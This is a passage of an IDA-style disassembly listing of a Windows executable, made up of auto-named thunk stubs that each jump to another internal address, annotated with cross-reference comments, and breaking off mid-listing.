; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B27	proc near		; CODE XREF: ___:00416A7Bp
					; ___:00439F42j ...
		jmp	sub_4179D0
sub_401B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B2C	proc near		; CODE XREF: ___:00408713p
					; ___:00408734p ...
		jmp	sub_407660
sub_401B2C	endp

; ---------------------------------------------------------------------------
		jmp	loc_414AF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B36	proc near		; CODE XREF: sub_41C610+83p
					; sub_4282C0+3Fp
		jmp	sub_41D540
sub_401B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B3B	proc near		; CODE XREF: sub_41A890+11p
		jmp	sub_41A8C0
sub_401B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B40	proc near		; CODE XREF: sub_41E660+339p
		jmp	sub_421C10
sub_401B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B45	proc near		; CODE XREF: sub_414C70+3p
		jmp	sub_414CA0
sub_401B45	endp

; ---------------------------------------------------------------------------
		jmp	loc_432CA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4F	proc near		; CODE XREF: sub_42FAA0+29p
		jmp	sub_42F540
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B54	proc near		; CODE XREF: sub_40FDA0+38p
					; ___:00439158j
		jmp	sub_412BC0
sub_401B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B59	proc near
		jmp	sub_40D580
sub_401B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B5E	proc near		; CODE XREF: sub_407660+3Bp
					; sub_4076F0+43p
		jmp	sub_40B430
sub_401B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B63	proc near		; CODE XREF: sub_4072D0+3p
		jmp	sub_4074A0
sub_401B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B68	proc near		; CODE XREF: sub_424840+9Dp
					; sub_424840+FBp ...
		jmp	sub_4245F0
sub_401B68	endp

; ---------------------------------------------------------------------------


loc_401B6D:				; DATA XREF: ___:off_43E084o
		jmp	loc_425BD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B72	proc near		; CODE XREF: sub_40FF60+413p
					; sub_40FF60+F69p ...
		jmp	sub_409F60
sub_401B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B77	proc near		; CODE XREF: ___:00425474p
		jmp	sub_4254E0
sub_401B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B7C	proc near		; CODE XREF: sub_422050+32p
		jmp	sub_422410
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B81	proc near		; CODE XREF: sub_41B4B0+A5p
		jmp	sub_41A6D0
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B86	proc near		; CODE XREF: sub_40BF60+23p
					; sub_40C120+11p
		jmp	sub_40C2C0
sub_401B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B8B	proc near		; CODE XREF: ___:0042B833p
		jmp	sub_42B860
sub_401B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B90	proc near
		jmp	sub_41E140
sub_401B90	endp

; ---------------------------------------------------------------------------


loc_401B95:				; DATA XREF: sub_42FF50+86o
		jmp	loc_431650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9A	proc near		; CODE XREF: sub_409530+20p
		jmp	sub_409600
sub_401B9A	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BA4	proc near		; DATA XREF: ___:off_43E0A4o
		jmp	sub_40CBB0
sub_401BA4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4309D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BAE	proc near		; CODE XREF: sub_421BD0+1Fp
		jmp	sub_421FB0
sub_401BAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BB3	proc near		; CODE XREF: sub_427520+39p
		jmp	sub_4270E0
sub_401BB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB8	proc near		; CODE XREF: sub_415730+5p
					; sub_415930+6p ...
		jmp	sub_416380
sub_401BB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BBD	proc near		; CODE XREF: sub_4303D0+5Dp
					; sub_431730+3Ep
		jmp	sub_4304D0
sub_401BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC2	proc near		; CODE XREF: ___:00432129p
					; ___:0043214Ap ...
		jmp	sub_430C00
sub_401BC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC7	proc near		; CODE XREF: ___:00425DA2p
		jmp	sub_4269A0
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BCC	proc near		; CODE XREF: sub_41B3D0+3p
		jmp	sub_41B400
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD1	proc near		; CODE XREF: sub_428220+3p
		jmp	sub_428250
sub_401BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD6	proc near		; CODE XREF: sub_422A40+924p
					; ___:0042408Ap
		jmp	sub_4258E0
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BDB	proc near		; CODE XREF: sub_42D2C0+18Dp
					; sub_42D2C0+1CDp ...
		jmp	sub_42DFD0
sub_401BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE0	proc near		; CODE XREF: ___:0041426Cp
		jmp	sub_414360
sub_401BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE5	proc near
		jmp	sub_40C360
sub_401BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEA	proc near		; CODE XREF: sub_425020+8Bp
		jmp	sub_424840
sub_401BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEF	proc near		; CODE XREF: ___:0040B11Ep
					; sub_40B170+34p ...
		jmp	sub_40BDD0
sub_401BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF4	proc near		; CODE XREF: sub_40B0B0+5Cp
		jmp	sub_40BC70
sub_401BF4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4327C0
; ---------------------------------------------------------------------------
		jmp	loc_431120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C03	proc near		; CODE XREF: sub_430AD0+20p
					; sub_430C00+20p ...
		jmp	sub_430690
sub_401C03	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C0D	proc near
		jmp	sub_4347B0
sub_401C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C12	proc near		; CODE XREF: sub_4137E0+84p
					; sub_433A20+3Cp ...
		jmp	sub_433940
sub_401C12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C17	proc near		; CODE XREF: ___:0042C4D8p
		jmp	sub_42B060
sub_401C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C1C	proc near		; CODE XREF: sub_42A810+446p
		jmp	sub_42A5F0
sub_401C1C	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B620

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C26	proc near		; CODE XREF: ___:00431256p
					; sub_4331D0+23p
		jmp	sub_431AC0
sub_401C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C2B	proc near		; DATA XREF: ___:off_43E12Co
		jmp	sub_427FF0
sub_401C2B	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FC80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C35	proc near		; CODE XREF: sub_41AFE0+8p
					; ___:0041B39Dp ...
		jmp	sub_41A010
sub_401C35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3A	proc near		; CODE XREF: sub_42A100+3p
		jmp	sub_42A130
sub_401C3A	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AD80
; ---------------------------------------------------------------------------
		jmp	loc_416990

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C49	proc near		; CODE XREF: sub_40BD90+1Fp
		jmp	sub_40BEC0
sub_401C49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C4E	proc near		; CODE XREF: sub_415A00+9p
					; sub_415B20+18p
		jmp	sub_4165D0
sub_401C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C53	proc near		; CODE XREF: sub_418C50+4p
		jmp	sub_418F70
sub_401C53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C58	proc near		; CODE XREF: sub_407370+11p
					; ___:00407397p ...
		jmp	sub_407520
sub_401C58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C5D	proc near		; CODE XREF: sub_404C70+111p
					; sub_40D580+42p ...
		jmp	sub_40A1F0
sub_401C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C62	proc near		; CODE XREF: ___:0041319Ap
					; sub_413220+3Cp ...
		jmp	sub_4157E0
sub_401C62	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E9C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C6C	proc near		; CODE XREF: sub_4256B0+69p
		jmp	sub_425820
sub_401C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C71	proc near		; CODE XREF: sub_40B520+2Fp
					; sub_40B520+6Ep ...
		jmp	sub_40BD60
sub_401C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C76	proc near		; CODE XREF: ___:0042ED88p
					; ___:0042ED9Dp ...
		jmp	sub_432CC0
sub_401C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C7B	proc near		; CODE XREF: sub_415370+11p
					; sub_415DD0+1Fp
		jmp	sub_415FC0
sub_401C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C80	proc near		; DATA XREF: ___:0043E0D4o
		jmp	sub_41D830
sub_401C80	endp

; ---------------------------------------------------------------------------
		jmp	loc_419910

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8A	proc near		; CODE XREF: sub_407370+9p
					; sub_418D80+18p
		jmp	sub_4075C0
sub_401C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C8F	proc near		; CODE XREF: sub_4131F0+3p
					; ___:00416B3Bp ...
		jmp	sub_413220
sub_401C8F	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B810
; ---------------------------------------------------------------------------


loc_401C99:				; DATA XREF: ___:off_43E05Co
		jmp	loc_416C90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA3	proc near		; CODE XREF: ___:00416E6Ap
		jmp	sub_4181B0
sub_401CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA8	proc near		; CODE XREF: sub_415AA0+Cp
					; sub_415AA0+43p
		jmp	sub_4165A0
sub_401CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CAD	proc near		; CODE XREF: sub_409600+45p
		jmp	sub_4098E0
sub_401CAD	endp

; ---------------------------------------------------------------------------
		jmp	loc_433140
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CBC	proc near		; CODE XREF: sub_40FF60+3A4p
		jmp	sub_40A000
sub_401CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CC1	proc near		; CODE XREF: sub_407790+653p
					; ___:00407E8Ap ...
		jmp	sub_4076F0
sub_401CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CC6	proc near		; CODE XREF: sub_415420+16p
					; sub_415460+Bp ...
		jmp	sub_416090
sub_401CC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CCB	proc near		; CODE XREF: sub_409600+144p
		jmp	sub_409970
sub_401CCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD0	proc near		; CODE XREF: sub_404640+1C2p
					; sub_404B10+36p ...
		jmp	sub_4133D0
sub_401CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CD5	proc near		; CODE XREF: sub_4150F0+34p
					; sub_415B20+67p
		jmp	sub_415CC0
sub_401CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDA	proc near
		jmp	sub_409AA0
sub_401CDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDF	proc near		; DATA XREF: ___:0043E06Co
		jmp	sub_41FC00
sub_401CDF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E0B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CE9	proc near		; CODE XREF: sub_40BE90+5p
		jmp	sub_40C0F0
sub_401CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CEE	proc near		; CODE XREF: ___:0043113Fp
		jmp	sub_42F230
sub_401CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF3	proc near		; CODE XREF: sub_421D50+11p
					; ___:00421D77p ...
		jmp	sub_422300
sub_401CF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CF8	proc near		; DATA XREF: ___:0043E048o
		jmp	sub_4131F0
sub_401CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CFD	proc near		; CODE XREF: sub_4157A0+1Fp
		jmp	sub_416120
sub_401CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D02	proc near		; CODE XREF: sub_40F600+1ACp
					; sub_40F600+1EDp ...
		jmp	sub_40F590
sub_401D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D07	proc near		; CODE XREF: sub_413DA0+15Cp
		jmp	sub_414090
sub_401D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D0C	proc near		; CODE XREF: sub_404C20+23p
					; sub_40FF60+13C2p
		jmp	sub_412B20
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D11	proc near		; CODE XREF: ___:00416E2Fp
		jmp	sub_418050
sub_401D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D16	proc near		; CODE XREF: sub_407540+7p
					; sub_40C200+7p ...
		jmp	sub_4075E0
sub_401D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D1B	proc near		; CODE XREF: sub_40A810+1Ap
					; sub_40A8C0+4p ...
		jmp	sub_40A880
sub_401D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D20	proc near		; CODE XREF: sub_404640+289p
					; sub_404640+2ADp ...
		jmp	sub_40A0A0
sub_401D20	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F2B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D2A	proc near		; DATA XREF: ___:0043E154o
		jmp	sub_4282C0
sub_401D2A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E680

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D34	proc near
		jmp	sub_403FC0
sub_401D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D39	proc near		; CODE XREF: sub_411FE0+123p
					; sub_411FE0+1E2p
		jmp	sub_4126B0
sub_401D39	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B470
; ---------------------------------------------------------------------------
		jmp	loc_40B790

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D48	proc near		; CODE XREF: sub_421C80+5p
		jmp	sub_4221E0
sub_401D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D4D	proc near		; CODE XREF: sub_415E70+5Fp
		jmp	sub_416690
sub_401D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D52	proc near		; CODE XREF: sub_41D830+2C7p
		jmp	sub_42EA40
sub_401D52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D57	proc near		; CODE XREF: sub_418BA0+7p
		jmp	sub_418E40
sub_401D57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D5C	proc near		; CODE XREF: sub_413670+5Dp
					; sub_413670+9Bp ...
		jmp	sub_415340
sub_401D5C	endp

; ---------------------------------------------------------------------------
		jmp	loc_4360A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D66	proc near		; CODE XREF: sub_415730+16p
					; sub_415770+Bp ...
		jmp	sub_4163E0
sub_401D66	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D70	proc near		; CODE XREF: sub_432ED0+98p
		jmp	sub_430660
sub_401D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D75	proc near		; CODE XREF: sub_421B60+16p
					; sub_421BA0+Bp ...
		jmp	sub_4221B0
sub_401D75	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C7E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D7F	proc near
		jmp	sub_41C390
sub_401D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D84	proc near		; CODE XREF: sub_4189B0+16p
					; sub_4189F0+Bp ...
		jmp	sub_418D20
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D89	proc near		; CODE XREF: sub_413670+53p
					; sub_413670+91p ...
		jmp	sub_4151A0
sub_401D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D8E	proc near		; CODE XREF: sub_422A40+56p
		jmp	sub_4258A0
sub_401D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D93	proc near		; CODE XREF: sub_422A40+18Ap
		jmp	sub_4257A0
sub_401D93	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D9D	proc near		; CODE XREF: sub_428040+81p
		jmp	sub_427AD0
sub_401D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DA2	proc near		; CODE XREF: sub_415680+11p
					; sub_416120+1Fp
		jmp	sub_416310
sub_401DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA7	proc near		; CODE XREF: sub_415160+16p
					; sub_4151A0+Bp ...
		jmp	sub_415D40
sub_401DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DAC	proc near		; CODE XREF: ___:00414713p
		jmp	sub_4144D0
sub_401DAC	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DB6	proc near		; CODE XREF: sub_426F70+90p
		jmp	sub_427520
sub_401DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DBB	proc near		; CODE XREF: ___:0042B178p
		jmp	sub_42AEC0
sub_401DBB	endp

; ---------------------------------------------------------------------------
		jmp	loc_414120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DC5	proc near		; CODE XREF: sub_4337E0+74p
		jmp	sub_4317F0
sub_401DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DCA	proc near		; CODE XREF: sub_41FA90+1Dp
		jmp	sub_40B070
sub_401DCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DCF	proc near		; CODE XREF: sub_40A9F0+45p
		jmp	sub_40AC70
sub_401DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DD4	proc near		; CODE XREF: ___:0042F33Dp
					; ___:0042F462p ...
		jmp	sub_431990
sub_401DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DD9	proc near		; CODE XREF: ___:00425C34p
		jmp	sub_426EB0
sub_401DD9	endp

; ---------------------------------------------------------------------------
		jmp	loc_431A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE3	proc near		; CODE XREF: sub_40FF60+AE7p
					; sub_40FF60+E5Dp
		jmp	sub_41EE70
sub_401DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE8	proc near		; CODE XREF: sub_40ACA0+Ap
		jmp	sub_40AD90
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DED	proc near		; CODE XREF: ___:00416A3Bp
					; ___:00439F7Aj ...
		jmp	sub_417AE0
sub_401DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DF2	proc near		; CODE XREF: sub_421E80+4p
		jmp	sub_422320
sub_401DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DF7	proc near		; CODE XREF: sub_40C400+271p
					; sub_425020+50p
		jmp	sub_423660
sub_401DF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DFC	proc near		; CODE XREF: ___:0041617Ap
		jmp	sub_416760
sub_401DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E01	proc near		; CODE XREF: sub_415CC0+7p
		jmp	sub_4164C0
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E06	proc near		; CODE XREF: sub_41D830+19Bp
		jmp	sub_42C790
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E0B	proc near		; CODE XREF: sub_404C70+83Bp
					; sub_404C70+B68p ...
		jmp	sub_412900
sub_401E0B	endp

; ---------------------------------------------------------------------------
		jmp	sub_4131F0
; ---------------------------------------------------------------------------
		jmp	sub_428220

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1A	proc near		; CODE XREF: sub_4153B0+34p
					; sub_415E70+67p
		jmp	sub_416010
sub_401E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E1F	proc near		; CODE XREF: sub_413670+31p
					; sub_4144D0+2Dp
		jmp	sub_4152D0
sub_401E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E24	proc near		; CODE XREF: sub_40CBB0+1EEp
					; ___:00423EC5p ...
		jmp	sub_425640
sub_401E24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E29	proc near		; CODE XREF: sub_4158F0+3p
		jmp	sub_4163C0
sub_401E29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E2E	proc near		; CODE XREF: sub_404640+97p
					; sub_404640+107p ...
		jmp	sub_40A3C0
sub_401E2E	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E38	proc near		; CODE XREF: ___:00423CFDp
		jmp	sub_423850
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E3D	proc near		; CODE XREF: ___:00421D0Ap
		jmp	sub_422210
sub_401E3D	endp

; ---------------------------------------------------------------------------
		jmp	loc_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E47	proc near
		jmp	sub_4355E0
sub_401E47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E4C	proc near		; DATA XREF: ___:off_43E098o
		jmp	sub_4356F0
sub_401E4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E51	proc near		; CODE XREF: ___:0043250Fp
		jmp	sub_42FDB0
sub_401E51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E56	proc near		; CODE XREF: sub_4165A0+5p
		jmp	sub_4167F0
sub_401E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E5B	proc near		; CODE XREF: sub_404C70+28Dp
					; sub_41D830+6A6p
		jmp	sub_40DB40
sub_401E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E60	proc near		; CODE XREF: sub_422410+5Fp
		jmp	sub_422600
sub_401E60	endp

; ---------------------------------------------------------------------------
		jmp	loc_419E90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6A	proc near		; CODE XREF: sub_40F600+22p
					; sub_411860+1Dp ...
		jmp	sub_40ADC0
sub_401E6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6F	proc near		; CODE XREF: sub_40A9F0+112p
					; sub_40A9F0+153p
		jmp	sub_40ACD0
sub_401E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E74	proc near		; DATA XREF: ___:off_43E0C0o
		jmp	sub_41B010
sub_401E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E79	proc near		; CODE XREF: sub_4155E0+3p
		jmp	sub_416070
sub_401E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E7E	proc near		; CODE XREF: sub_426960+1Ap
		jmp	sub_426820
sub_401E7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E83	proc near		; CODE XREF: ___:00416B0Bp
					; ___:00439EC4j ...
		jmp	sub_4175E0
sub_401E83	endp

; ---------------------------------------------------------------------------
		jmp	loc_431EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E8D	proc near		; CODE XREF: sub_4200F0+3Ap
		jmp	sub_420300
sub_401E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E92	proc near		; DATA XREF: ___:0043E114o
		jmp	sub_426F70
sub_401E92	endp

; ---------------------------------------------------------------------------
		jmp	loc_432800

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E9C	proc near		; CODE XREF: sub_416310+4p
		jmp	sub_416710
sub_401E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA1	proc near		; CODE XREF: sub_415830+4Fp
					; sub_4161C0+11p ...
		jmp	sub_416410
sub_401EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA6	proc near		; CODE XREF: sub_415650+5p
		jmp	sub_4160F0
sub_401EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_424840+151p
		jmp	sub_424800
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB0	proc near		; CODE XREF: ___:00416AABp
					; ___:00439F18j ...
		jmp	sub_417830
sub_401EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB5	proc near		; CODE XREF: sub_4152D0+3p
		jmp	sub_415D20
sub_401EB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EBA	proc near		; CODE XREF: sub_415030+11p
					; sub_415070+13p ...
		jmp	sub_415C70
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_421960+16p
					; sub_4219A0+Bp ...
		jmp	sub_421F50
sub_401EBF	endp

; ---------------------------------------------------------------------------
		jmp	loc_418860
; ---------------------------------------------------------------------------
		jmp	loc_41C250

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: sub_418E90+18p
					; sub_421CB0+9p
		jmp	sub_419050
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_422540+Ap
		jmp	sub_4226E0
sub_401ED3	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BC50
; ---------------------------------------------------------------------------
		jmp	loc_4328B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE2	proc near		; CODE XREF: ___:00416A0Bp
					; ___:00439FA4j ...
		jmp	sub_417B20
sub_401EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40A810+13p
